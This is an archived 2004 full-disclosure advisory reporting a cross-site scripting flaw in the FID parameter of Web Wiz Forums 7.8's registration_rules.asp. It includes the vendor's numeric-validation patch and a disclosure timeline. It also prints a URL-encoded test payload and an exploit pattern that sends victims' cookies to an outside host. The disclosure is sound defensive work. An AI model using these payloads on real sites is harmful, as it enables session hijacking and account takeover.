full-disclosure - Web Wiz Forums Registration Rules XSS Vulnerability

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Message-ID: <200406151726.i5FHQsW16163@netsys.com>
From: ferruh at mavituna.com (Ferruh Mavituna)
Subject: Web Wiz Forums Registration Rules XSS Vulnerability

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WEB WIZ FORUMS REGISTRATION RULES XSS VULNERABILITY
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Online URL : http://ferruh.mavituna.com/article/?528

XSS / Cross Site Scripting attack allows an attacker to hijack other
users/administrators account.


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ABOUT WEB WIZ FORUMS;
------------------------------------------------------
Web Wiz Forums, the free award winning ASP bulletin board system software,
can add value to almost any web site.

Whether you are building a small interactive community with 10 people or
over 100,000 strong customer support forum, this fast, scalable, bulletin
board engine can manage your community


URL & Demo & Source Code Download ;
http://www.webwizguide.info/web_wiz_forums/


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VULNERABLE;
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Web Wiz Forums Version 7.8 [possibly lower versions]


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NOT VULNERABLE;
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Web Wiz Forums Version 7.9


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PROBLEM;
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- Page
registration_rules.asp (Parameter : FID)

- Test;
registration_rules.asp?FID=%22%3E%3Cscript%3Ealert%28%27Vulnerable%2520%21%2
7%29%3C%2Fscript%3E

- Possible Exploit Pattern;
- This sample sends cookie to victim URL [in sample
http://ferruh.mavituna.com/xss/]
registration_rules.asp?FID=%22%3E%3Cimg+width%3D0+height%3D0+src%3D%22javasc
ript%3Adocument%2Eimages%5B0%5D%2Esrc%3D%27http%3A%2F%2Fferruh%2Emavituna%2E
com%2Fxss%2F%3F%27%2Bdocument%2Ecookie%22%3E


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HOW TO PATCH [provided by vendor];
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Download http://www.zap2.me.uk/7.7a_and_7.8_to_7.9_patch_files.zip
Version 7.9 has been released to deal with this issue.
Change line 65 of the file registration_rules.asp that reads:-

intForumID = Request.QueryString("FID")

To the following:-

If isNumeric(Request.QueryString("FID")) Then
         intForumID = CInt(Request.QueryString("FID"))
Else
         intForumID = 0
End If




-----------------------------------------------------
HISTORY;
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Discovered : 14.06.2004
Vendor Informed : 15.06.2004
Published : 15.06.2004


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Vendor Status;
------------------------------------------------------
Quickly answered & fixed.


Ferruh Mavituna
Web Application Security Specialist
http://ferruh.mavituna.com

PGPKey : http://ferruh.mavituna.com/PGPKey.asc